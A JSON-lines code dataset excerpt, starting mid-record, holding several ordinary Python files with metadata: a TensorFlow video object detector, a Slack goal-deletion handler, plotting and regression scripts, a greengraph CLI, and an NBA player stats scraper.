"usage_type": "attribute"}, {"api_name": "mysite.views", "line_number": 13, "usage_type": "name"}]}
{"seq_id": "348642319", "text": "# -*- coding: utf-8 -*-\n\"\"\"infer.py\n\nProgram that runs a TF HUB pretrained object detection model \n(MELI - packages over a conveyor belt, using mobilenetv2-224-10)\n with a pipeline config, a checkpoint folder and a label_map.pbtxt file \nover a video camera stream. \n\nExample of usage with a webcam:\n`python infer.py --video_cam 0 `\n\nExample of usage with a video:\n`python infer.py --input_path video.mov --output_path videoOuput.mov`\n\nMade by: Israel Melendez Montoya\n\"\"\"\nimport os\nos.environ['TF_CPP_MIN_LOG_LEVEL'] = '3' \n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nimport io, os, argparse, glob\nimport scipy.misc\nimport numpy as np\nfrom six import BytesIO\nfrom PIL import Image, ImageDraw, ImageFont\nimport random\nimport cv2\nimport time\nfrom imutils.video import FPS, FileVideoStream, WebcamVideoStream\nimport imutils\n\nimport tensorflow as tf\n\nfrom object_detection.utils import label_map_util\nfrom object_detection.utils import config_util\nfrom object_detection.utils import visualization_utils as viz_utils\nfrom object_detection.builders import model_builder\n\n\ndef get_model_detection_function(model):\n  \"\"\"Get a tf.function for detection.\"\"\"\n\n  @tf.function\n  def detect_fn(image):\n    \"\"\"Detect objects in image.\"\"\"\n\n    image, shapes = model.preprocess(image)\n    prediction_dict = model.predict(image, shapes)\n    detections = model.postprocess(prediction_dict, shapes)\n\n    return detections, prediction_dict, tf.reshape(shapes, [-1])\n\n  return detect_fn\n\n\ndef main(input_path, output_path, config_path, ckpt_path):\n    # we recover our saved model here\n\n    cwd = os.path.abspath(os.getcwd())\n    # gets the last ckpt from the ckpt folder automatically,\n    # gets full paths for ckpt and pipeline files\n    ckpt_name = sorted(os.listdir(ckpt_path))[1].split(\".\")[0]\n    model_dir = ckpt_path + ckpt_name\n    config_path = cwd+\"/\"+config_path\n    model_dir = cwd+\"/\"+model_dir\n\n    print(\"[INFO]: Last checkpoint is:\", model_dir)\n    print()\n    print(\"[INFO]: Config path is:\", config_path)\n    print()\n    \n    configs = config_util.get_configs_from_pipeline_file(config_path)\n    print(configs)\n    print()\n    model_config = configs[\"model\"]\n\n    detection_model = model_builder.build(\n        model_config=model_config, is_training=False)\n\n    # Restore checkpoint\n    ckpt = tf.compat.v2.train.Checkpoint(\n        model=detection_model)\n\n    ckpt.restore(model_dir)\n    print(\"[INFO]: Done restoring model...\")\n    detect_fn = get_model_detection_function(detection_model)\n\n    #map labels for inference decoding\n    label_map_path = configs['eval_input_config'].label_map_path\n    label_map = label_map_util.load_labelmap(label_map_path)\n    print(\"[INFO]: Done\")\n    \n    categories = label_map_util.convert_label_map_to_categories(\n        label_map,\n        max_num_classes=label_map_util.get_max_label_map_index(label_map),\n        use_display_name=True)\n    category_index = label_map_util.create_category_index(categories)\n    label_map_dict = label_map_util.get_label_map_dict(label_map, use_display_name=True)\n    \n\n    #run detector on test image\n    #it takes a little longer on the first run and then runs at normal speed. \n    print(\"[INFO]: Loaded labels...\")\n    print()\n    \n    #input video for object detection inference\n    if not isinstance(input_path,int):\n        vid = WebcamVideoStream(src=0).start() # run another while function\n    else:\n        vid = FileVideoStream(input_path).start() # run another while in a function\n    time.sleep(1.0)\n\n    #output video name\n    if output_path != None:\n\n        fourcc = cv2.VideoWriter_fourcc('M','J','P','G')\n        videoOut = cv2.VideoWriter(output_path,fourcc, 30.0, (im.shape[1],im.shape[0]))\n\n    print(\"[INFO] loading model...\")\n    print(\"[INFO] starting video play...\")\n    fps = FPS().start()\n    \n    while True:\n\n        frame = vid.read()\n        frame = imutils.resize(frame, width=450)\n\n        (im_width, im_height) = (frame.shape[1],frame.shape[0])\n\n        \n        image_np = np.array(frame).reshape((im_height, im_width, 3)).astype(np.uint8)\n\n        input_tensor = tf.convert_to_tensor(\n            np.expand_dims(image_np, 0), dtype=tf.float32)\n        detections, predictions_dict, shapes = detect_fn(input_tensor)\n\n        label_id_offset = 1\n        image_np_with_detections = image_np.copy()\n\n        viz_utils.visualize_boxes_and_labels_on_image_array(\n            image_np_with_detections,\n            detections['detection_boxes'][0].numpy(),\n            (detections['detection_classes'][0].numpy() + label_id_offset).astype(int),\n            detections['detection_scores'][0].numpy(),\n            category_index,\n            use_normalized_coordinates=True,\n            max_boxes_to_draw=100,\n            min_score_thresh=.5,\n            agnostic_mode=False,)\n\n        cv2.imshow(\"frame\",image_np_with_detections)\n        \n        if cv2.waitKey(1) & 0xFF == ord('q'):\n            break\n\n        if output_path != None:\n            videoOut.write(image_np_with_detections)\n\n        fps.update()\n\n    fps.stop()\n\n    print(\"[INFO] elapsed time: {:.2f}\".format(fps.elapsed()))\n    print(\"[INFO] approx. FPS: {:.2f}\".format(fps.fps()))\n\n  \n    cv2.destroyAllWindows()\n    vid.stop()\n\n    if output_path != None:\n            videoOut.release()\n    \n\nif __name__==\"__main__\":\n\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\n        \"--input_path\",\n        help=\"Path of the video to perform object detection inferences\",\n        default=\"9410828E-0960-45B6-8595-61B439AF4764.mov\")\n    parser.add_argument(\n        \"--output_path\",\n        help=\"Path of the output video\",\n        default=None)\n    parser.add_argument(\n        \"--config_path\",\n        help=\"Path of the initial pipeline configuration of the \\\n            neural network (indicates the base architecture)\",\n        default=\"ml_aug_model/pipeline_file.config\")\n    parser.add_argument(\n        \"--checkpoint_path\",\n        help=\"Checkpoint path that must contain: checkpoint, \\\n            ckpt-X.data-Y, ckpt-X.index\" ,\n        default=\"checkpoint/\")\n    args = parser.parse_args()\n\n    # Parse all the arguments\n\n    input_path = args.input_path\n    output_path = args.output_path\n\n    ckpt_path = args.checkpoint_path\n    config_path = args.config_path\n\n    #Show the arguments\n    print()\n    print(\"[INFO]: Input path is {}\".format(input_path))\n    print(\"[INFO]: Output path is {}\".format(output_path))\n    print(\"[INFO]: Config path is {}\".format(config_path))\n    print(\"[INFO]: Checkpoint path is {}\".format(ckpt_path))\n    print()\n    \n    # run the main\n    main(input_path, output_path, config_path, ckpt_path)\n\n\n\n\n\n", "repo_name": "IsraelMelMon/Inference_CustomObjDetector_TF2", "sub_path": "infer.py", "file_name": "infer.py", "file_ext": "py", "file_size_in_byte": 6631, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.environ", "line_number": 18, "usage_type": "attribute"}, {"api_name": "tensorflow.reshape", "line_number": 53, "usage_type": "call"}, {"api_name": "tensorflow.function", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 61, "usage_type": "call"}, {"api_name": "os.path", "line_number": 61, "usage_type": "attribute"}, {"api_name": "os.getcwd", "line_number": 61, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 64, "usage_type": "call"}, {"api_name": "object_detection.utils.config_util.get_configs_from_pipeline_file", "line_number": 74, "usage_type": "call"}, {"api_name": "object_detection.utils.config_util", "line_number": 74, "usage_type": "name"}, {"api_name": "object_detection.builders.model_builder.build", "line_number": 79, "usage_type": "call"}, {"api_name": "object_detection.builders.model_builder", "line_number": 79, "usage_type": "name"}, {"api_name": "tensorflow.compat.v2.train.Checkpoint", "line_number": 83, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 83, "usage_type": "attribute"}, {"api_name": "object_detection.utils.label_map_util.load_labelmap", "line_number": 92, "usage_type": "call"}, {"api_name": "object_detection.utils.label_map_util", "line_number": 92, "usage_type": "name"}, {"api_name": "object_detection.utils.label_map_util.convert_label_map_to_categories", "line_number": 95, "usage_type": "call"}, {"api_name": "object_detection.utils.label_map_util", "line_number": 95, "usage_type": "name"}, {"api_name": "object_detection.utils.label_map_util.get_max_label_map_index", "line_number": 97, "usage_type": "call"}, {"api_name": "object_detection.utils.label_map_util", "line_number": 97, "usage_type": "name"}, {"api_name": "object_detection.utils.label_map_util.create_category_index", "line_number": 99, "usage_type": "call"}, {"api_name": "object_detection.utils.label_map_util", "line_number": 99, "usage_type": "name"}, {"api_name": "object_detection.utils.label_map_util.get_label_map_dict", "line_number": 100, "usage_type": "call"}, {"api_name": "object_detection.utils.label_map_util", "line_number": 100, "usage_type": "name"}, {"api_name": "imutils.video.WebcamVideoStream", "line_number": 110, "usage_type": "call"}, {"api_name": "imutils.video.FileVideoStream", "line_number": 112, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 113, "usage_type": "call"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 119, "usage_type": "call"}, {"api_name": "imutils.video.FPS", "line_number": 123, "usage_type": "call"}, {"api_name": "imutils.resize", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 133, "usage_type": "attribute"}, {"api_name": "tensorflow.convert_to_tensor", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 136, "usage_type": "call"}, {"api_name": "tensorflow.float32", "line_number": 136, "usage_type": "attribute"}, {"api_name": "object_detection.utils.visualization_utils.visualize_boxes_and_labels_on_image_array", "line_number": 142, "usage_type": "call"}, {"api_name": "object_detection.utils.visualization_utils", "line_number": 142, "usage_type": "name"}, {"api_name": "cv2.imshow", "line_number": 153, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 155, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 169, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 178, "usage_type": "call"}]}
{"seq_id": "13250740520", "text": "import logging\nfrom typing import Any, Dict, Type\nfrom uuid import UUID\n\nfrom slack_bolt import App, BoltContext, Ack\nfrom teamiclink.slack.middleware import SlackMiddleware\nfrom teamiclink.slack.store_goal import GoalStore\nfrom slack_sdk import WebClient\n\nLOG = logging.getLogger(__name__)\n\n\ndef delete_goal(\n    context: BoltContext, payload: Dict[str, Any], ack: Ack, client: WebClient\n):\n    ack()\n    goal_store: GoalStore = context[SlackMiddleware.GOAL_STORE_KEY]\n    goal_store.delete_goal(id=UUID(payload[\"value\"]))\n    LOG.info(f\"Deleted goal {payload['value']}\")\n    client.chat_postEphemeral(\n        text=\"Goal deleted\",\n        user=context[\"user_id\"],\n        channel=context[\"channel_id\"],\n    )\n\n\ndef register_actions(app: App, middleware: Type[SlackMiddleware]) -> None:\n    action_delete_goal = app.action(\n        constraints={\"action_id\": \"delete_goal\"}, middleware=[middleware.ctx_goal_store]\n    )\n    assert action_delete_goal\n    action_delete_goal(delete_goal)\n", "repo_name": "e1004/teamiclink", "sub_path": "teamiclink/slack/actions.py", "file_name": "actions.py", "file_ext": "py", "file_size_in_byte": 986, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "slack_bolt.BoltContext", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Dict", "line_number": 14, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 14, "usage_type": "name"}, {"api_name": "slack_bolt.Ack", "line_number": 14, "usage_type": "name"}, {"api_name": "slack_sdk.WebClient", "line_number": 14, "usage_type": "name"}, {"api_name": "teamiclink.slack.store_goal.GoalStore", "line_number": 17, "usage_type": "name"}, {"api_name": "teamiclink.slack.middleware.SlackMiddleware.GOAL_STORE_KEY", "line_number": 17, "usage_type": "attribute"}, {"api_name": "teamiclink.slack.middleware.SlackMiddleware", "line_number": 17, "usage_type": "name"}, {"api_name": "uuid.UUID", "line_number": 18, "usage_type": "call"}, {"api_name": "slack_bolt.App", "line_number": 27, "usage_type": "name"}, {"api_name": "typing.Type", "line_number": 27, "usage_type": "name"}, {"api_name": "teamiclink.slack.middleware.SlackMiddleware", "line_number": 27, "usage_type": "name"}]}
{"seq_id": "74143201225", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 18 10:47:20 2016\n\n@author: GONG\n\"\"\"\n#加载科学计算宏包\nimport numpy as np\nimport scipy as si\nimport pylab as pl\n#加载绘图相关宏包\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom matplotlib import cm\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n##############################################################\n#       此程序一切数据处理都非常多余且没道理。。                 \n#       所有目的只是为了满足进行三角绘图trisurf的输入格式        \n#       暂时没有发现其他方法。。                                \n##############################################################\n\nr=np.load(\"Boundary.npz\")\nx=r[\"arr_0\"]\ny=r[\"arr_1\"]\nz=r[\"arr_2\"]\n\ntri=np.empty(x.shape,int)\na=x.shape[0]\nx1=x.reshape(1,-1)\ny1=y.reshape(1,-1)\nz1=z.reshape(1,-1)\n\nb=x1.shape[1]\n\nx=np.arange(b,dtype=float)\ny=np.arange(b,dtype=float)\nz=np.arange(b,dtype=float)\n\n\n\nn=0\nfor i in range(a):\n    for j in range(3):\n        tri[i,j]=n\n        n=n+1\n\nfor i in range(b):\n    x[i]=x1[0,i]\n    y[i]=y1[0,i]\n    z[i]=z1[0,i]\n    \n\nfig = plt.figure()\nax = fig.gca(projection='3d')\n\nax.plot_trisurf(x, y, z, triangles=tri,cmap=cm.jet, linewidth=0.5)\nax.view_init(elev=30,azim=20)\n#ax.view_init(elev=0,azim=45)\n#ax.view_init(elev=45,azim=0)\nax.set_xlabel('X AXIS')\nax.set_ylabel('Y AXIS')\nax.set_zlabel('Z AXIS')\nax.set_title('SHAPE OF APOLLO')\nplt.ylim(-1000,4000)\nplt.grid(True)\n\nplt.savefig('HopeX.jpg',dpi=720)\nplt.savefig('HopeX.eps')\nplt.show()\n\n\n", "repo_name": "YANG-DEMIN/Newton", "sub_path": "code/drawing.py", "file_name": "drawing.py", "file_ext": "py", "file_size_in_byte": 1524, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.load", "line_number": 23, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 28, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.cm.jet", "line_number": 57, "usage_type": "attribute"}, {"api_name": "matplotlib.cm", "line_number": 57, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 65, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 65, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 66, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 66, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 69, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 69, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 70, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 70, "usage_type": "name"}]}
{"seq_id": "43706538449", "text": "\n# Importing the libraries\nimport pandas as pd\nimport numpy as np\n# Importing the dataset\n#dataset = pd.read_csv('Female_Stats.csv')\n#\n#labels = dataset.iloc[:, 0:1].values\n#features = dataset.iloc[:, 1:].values\n#featuresfather=dataset.iloc[:,[2]].values\n#featuresmother=dataset.iloc[:,:[1]].values\n\n# Importing the libraries\n\n# Importing the dataset\ndataset = pd.read_csv('iq_size.csv')\n\nlabels = dataset.iloc[:, 0:1].values\nfeatures = dataset.iloc[:, 1:].values\n\n\nimport statsmodels.api as sm\nfeatures = sm.add_constant(features)\nlist2=[]\nlist1=[0,1,2,3]\nwhile True:\n    features_opt = features[:,list1]\n    regressor_OLS = sm.OLS(endog = labels, exog = features_opt).fit()\n    list2=regressor_OLS.pvalues\n    list2-=list2[0]\n    temp=np.max(list2)\n    temp2=np.argmax(list2)\n    if temp>0.08:\n        list1.pop(temp2)\n        \n        \n    else:\n        break\nprint(list1)", "repo_name": "abhinavsoni2601/fosk_work", "sub_path": "day 17/untitled3.py", "file_name": "untitled3.py", "file_ext": "py", "file_size_in_byte": 875, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 16, "usage_type": "call"}, {"api_name": "statsmodels.api.add_constant", "line_number": 23, "usage_type": "call"}, {"api_name": "statsmodels.api", "line_number": 23, "usage_type": "name"}, {"api_name": "statsmodels.api.OLS", "line_number": 28, "usage_type": "call"}, {"api_name": "statsmodels.api", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.max", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "8456670765", "text": "from argparse import ArgumentParser\nfrom greengrapher import greengraph\n\n\ndef process():\n\n    parser = ArgumentParser(description=\"Plots amount of green space between two locations.\")\n    parser.add_argument('start', help='starting location, string')\n    parser.add_argument('end', help='final location, string')\n    parser.add_argument('--steps', type=int, default=20, help='number of calculated points, defaults to 20, integer')\n    parser.add_argument('--out', help='output file, \"*.png\" or \"*.pdf\"', default=False)\n    arguments = parser.parse_args()\n\n    greengraph(arguments.start, arguments.end, arguments.steps, arguments.out)\n\nif __name__ == \"__main__\":\n    process()\n", "repo_name": "ddervs/GreenGraph", "sub_path": "greengraph/command.py", "file_name": "command.py", "file_ext": "py", "file_size_in_byte": 677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 7, "usage_type": "call"}, {"api_name": "greengrapher.greengraph", "line_number": 14, "usage_type": "call"}]}
{"seq_id": "20413551290", "text": "import numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as colors\n\nimport pickle\nimport pandas as pd\nfrom Analysis.analysis_utils import plot_specs, analysis_specs, LINCLAB_COLS, colorFader\nfrom Analysis.analysis_utils import get_grids, structured_unstructured\n\nimport matplotlib.patches as mpatches\nfrom matplotlib.lines import Line2D\n\n# import csv data summary\nparent_path = '../../Data/'\ndf = pd.read_csv(parent_path+'track_forgotten_states.csv')\n#df['representation'] = df['representation'].apply(structured_unstructured)\n\ngb = df.groupby(['env_name','representation','EC_cache_limit','forgetting_rule'])[\"save_id\"]\n\n\nconvert_rep_to_color = {'structured':LINCLAB_COLS['red'], 'unstructured':LINCLAB_COLS['blue']}\nlabels_for_plot = {'structured':'structured','unstructured':'unstructured'}\ncache_limits = analysis_specs['cache_limits']\n\n\nenvs_to_plot = ['gridworld:gridworld-v11','gridworld:gridworld-v41','gridworld:gridworld-v31','gridworld:gridworld-v51']\nreps_to_plot = ['analytic successor','onehot']\ngrids = get_grids(envs_to_plot)\n\n\nenv = envs_to_plot[1]\nrep = reps_to_plot[1]\npct = 25\nforgetting_rule = 'oldest'\n\n### diverging colormap\nlow ='#6e00c1' #purple\nmid = '#dbdbdb' #gray\nhigh = '#ff8000' #orange\n\nn=500\nfade_1 = []\nfade_2 = []\nfor i in range(n):\n    fade_1.append(colorFader(low,mid,i/n))\n    fade_2.append(colorFader(mid,high,i/n))\n#fade = ListedColormap(fade_1 + fade_2 + fade_3 + fade_4)\n#plt.imshow([np.arange(n*4)],cmap=fade,aspect='auto')\nfade_cm = colors.ListedColormap(np.vstack(fade_1 + fade_2))\n\ndef get_avg_array(idlist):\n    objs = []\n    for n in range(len(idlist)):\n        run_id = idlist[n]\n\n        with open(f'../../Data/results/{run_id}_data.p', 'rb') as f:\n            data = pickle.load(f)\n\n        num_forgets = np.nansum(data['forgotten_states'])\n        scaled_forgets = data['forgotten_states']/num_forgets\n        objs.append(scaled_forgets)\n\n    return np.nanmean(objs, axis=0)\n\ndef plot_forgetting_frequency(envs_to_plot, reps_to_plot, **kwargs):\n    pct = kwargs.get('pct',75)\n\n    fig, ax = plt.subplots(len(envs_to_plot),6)\n    for e, env in enumerate(envs_to_plot):\n        for r, rep in enumerate(reps_to_plot):\n            objs = []\n            for i, forgetting_rule in enumerate(['oldest','random']):\n\n                idlist = list(gb.get_group((env, rep, int(cache_limits[env][100]*(pct/100)),forgetting_rule)))\n                print(env,rep,pct,forgetting_rule,len(idlist))\n\n                array = get_avg_array(idlist)\n\n                objs.append(array)\n\n                a = ax[e,3*r+i].imshow(array/0.005)\n                fig.colorbar(a,ax=ax[e,3*r+i])\n                ax[0,3*r+i].set_title(f'{rep}\\n{forgetting_rule}')\n            a = ax[e,3*r+i+1].imshow(((objs[0]-objs[1])+0.002)/0.004,cmap=fade_cm,vmin=0,vmax=1)\n            fig.colorbar(a,ax=ax[e,3*r+i])\n    plt.show()\n\nplot_forgetting_frequency(envs_to_plot[0:2],reps_to_plot,pct=25)\n\ndef plot_forgetting_frequency_diff_only(envs_to_plot, reps_to_plot, **kwargs):\n    pct = kwargs.get('pct',75)\n\n    fig, ax = plt.subplots(len(envs_to_plot),2)\n    for e, env in enumerate(envs_to_plot):\n        for r, rep in enumerate(reps_to_plot):\n            objs = []\n            for i, forgetting_rule in enumerate(['oldest','random']):\n\n                idlist = list(gb.get_group((env, rep, int(cache_limits[env][100]*(pct/100)),forgetting_rule)))\n                print(env,rep,pct,forgetting_rule,len(idlist))\n\n                array = get_avg_array(idlist)\n\n                objs.append(array)\n\n                #a = ax[e,3*r+i].imshow(array/0.005)\n                #fig.colorbar(a,ax=ax[e,3*r+i])\n                #ax[0,3*r+i].set_title(f'{rep}\\n{forgetting_rule}')\n            diff = objs[0]-objs[1]\n            max_diff = np.nanmax(diff)\n            min_diff = np.nanmin(diff)\n            a = ax[e,r].imshow((diff-min_diff)/(max_diff-min_diff) ,cmap=fade_cm,vmin=0,vmax=1)\n            fig.colorbar(a,ax=ax[e,r])\n            if env[-2:] == '51':\n                rwd_colrow= (15.5,8.5)\n            else:\n                rwd_colrow=(13.5,13.5)\n            rect = plt.Rectangle(rwd_colrow, 1, 1, fill=False,edgecolor='k')\n            ax[e,r].add_patch(rect)\n            ax[e,r].get_xaxis().set_visible(False)\n            ax[e,r].get_yaxis().set_visible(False)\n            ax[0,r].set_title(f'{rep}')\n    #plt.savefig(f'../figures/CH2/forgetting_map_{pct}.svg')\n    plt.show()\n#plot_forgetting_frequency_diff_only(envs_to_plot,reps_to_plot,pct=25)\n\n", "repo_name": "annikc/MEMRL", "sub_path": "basic/Analysis/CH2/6_compare_forgotten_states.py", "file_name": "6_compare_forgotten_states.py", "file_ext": "py", "file_size_in_byte": 4474, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "pandas.read_csv", "line_number": 15, "usage_type": "call"}, {"api_name": "Analysis.analysis_utils.LINCLAB_COLS", "line_number": 21, "usage_type": "name"}, {"api_name": "Analysis.analysis_utils.analysis_specs", "line_number": 23, "usage_type": "name"}, {"api_name": "Analysis.analysis_utils.get_grids", "line_number": 28, "usage_type": "call"}, {"api_name": "Analysis.analysis_utils.colorFader", "line_number": 45, "usage_type": "call"}, {"api_name": "Analysis.analysis_utils.colorFader", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.colors.ListedColormap", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.colors", "line_number": 49, "usage_type": "name"}, {"api_name": "numpy.vstack", "line_number": 49, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.nansum", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.nanmean", "line_number": 63, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 68, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 68, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 86, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 86, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 93, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 93, "usage_type": "name"}, {"api_name": "numpy.nanmax", "line_number": 110, "usage_type": "call"}, {"api_name": "numpy.nanmin", "line_number": 111, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.Rectangle", "line_number": 118, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 118, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 124, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 124, "usage_type": "name"}]}
{"seq_id": "13664755635", "text": "import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nimport requests\nfrom dateutil.relativedelta import relativedelta\nimport sys\n\nfrom sportsreference.nba.boxscore import Boxscore\nfrom sportsreference.nba.roster import Roster, Player\nfrom sportsreference.nba.schedule import Schedule\nfrom sportsreference.nba.teams import Teams\n\n# helper function to get player age during each season.\ndef get_age(year, bd):\n    if year[0] == \"Career\":\n        return None\n    else:\n        year_dt = datetime(int(year[0][0:4]) + 1, 1, 1)\n        age_years = relativedelta(year_dt, bd).years + relativedelta(year_dt, bd).months/12\n        return age_years\n    \n# helper function to get year for each row and denote\n# rows that contain career totals.\ndef get_year(ix):\n    if ix[0] == \"Career\":\n        return \"Career\"\n    elif ix[0] == \"1999-00\":\n        return \"2000\"\n    else:\n        return ix[0][0:2] + ix[0][-2:]\n\n# Function to get player info from Player class object.def get_player_df(player):\n\ndef get_player_df(player):\n    print(f'Getting player data for {player.name}')\n\n    # get player df and add some extra info\n    player_df = player.dataframe\n    player_df['birth_date'] = player.birth_date\n    player_df['player_id'] = player.player_id\n    player_df['name'] = player.name\n    player_df['year'] = [get_year(ix) for ix in player_df.index]\n    player_df['id'] = [player_id + ' ' + year for player_id, year in zip(player_df['player_id'], player_df['year'])]\n    player_df['age'] = [get_age(year, bd) for year, bd in zip(player_df.index, player_df['birth_date'])]\n    \n    # Stuff I've added\n    years_played = list(filter(lambda x: x != 'Career', player_df.salary.reset_index().iloc[:,0].to_list()))\n    player_df['avg_salary'] = player_df.salary / len(years_played)\n    player_df['years_played'] = len(years_played)\n    player_df['year_list'] = str(years_played)\n    player_df['current_player'] = player_df['year_list'].str.contains('2020-21')\n\n    if (player_df['current_player']).any():\n        salary = player.contract\n        if salary != None:\n            sal_nums = [str(x).replace(',','').replace('$','') for x in list(salary.values())]\n            contract_total = np.sum([int(x) for x in sal_nums])\n            player_df['contract_total'] = contract_total\n            player_df['contract_length'] = len(sal_nums)\n            player_df['current_salary'] = sal_nums[0]\n            player_df['current_avg_salary'] = contract_total / len(sal_nums)\n            player_df['current_team'] = player._team_abbreviation[-2]\n\n    player_df.set_index('id', drop = True, inplace = True)\n    \n    return player_df\n\n\n# initialize a list of players that we have pulled data for\nplayers_collected = []\nseason_df_init = 0\ncareer_df_init = 0\nseason_df = 0\ncareer_df = 0# iterate through years.\nfor year in range(2020, 1999, -1):\n    print('\\n' + str(year))\n        \n    # iterate through all teams in that year.\n    for team in Teams(year = str(year)).dataframes.index:\n        print('\\n' + team + '\\n')\n        \n        # iterate through every player on a team roster.\n        for player_id in Roster(team, year = year,\n                         slim = True).players.keys():\n            \n            # only pull player info if that player hasn't\n            # been pulled already.\n            if player_id not in players_collected:\n                \n                player = Player(player_id)\n                player_info = get_player_df(player)\n                player_seasons = player_info[\n                                 player_info['year'] != \"Career\"]\n                player_career = player_info[\n                                player_info['year'] == \"Career\"]\n                \n                # create season_df if not initialized\n                if not season_df_init:\n                    season_df = player_seasons\n                    season_df_init = 1\n                \n                # else concatenate to season_df\n                else:\n                    season_df = pd.concat([season_df,\n                                   player_seasons], axis = 0)\n                    \n                if not career_df_init:\n                    career_df = player_career\n                    career_df_init = 1\n                \n                # else concatenate to career_df\n                else:\n                    career_df = pd.concat([career_df,\n                                   player_career], axis = 0)\n                \n                # add player to players_collected\n                players_collected.append(player_id)\n                print(player.name)\n\nseason_df.to_csv('nba_player_stats_by_season.csv')\ncareer_df.to_csv('nba_player_stats_by_career.csv')", "repo_name": "LTonstad/Woj_Net-NBA_Salary_Regression_Analysis", "sub_path": "data/get_player_dataframe.py", "file_name": "get_player_dataframe.py", "file_ext": "py", "file_size_in_byte": 4671, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime", "line_number": 18, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 57, "usage_type": "call"}, {"api_name": "sportsreference.nba.teams.Teams", "line_number": 79, "usage_type": "call"}, {"api_name": "sportsreference.nba.roster.Roster", "line_number": 83, "usage_type": "call"}, {"api_name": "sportsreference.nba.roster.Player", "line_number": 90, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 104, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 113, "usage_type": "call"}]}
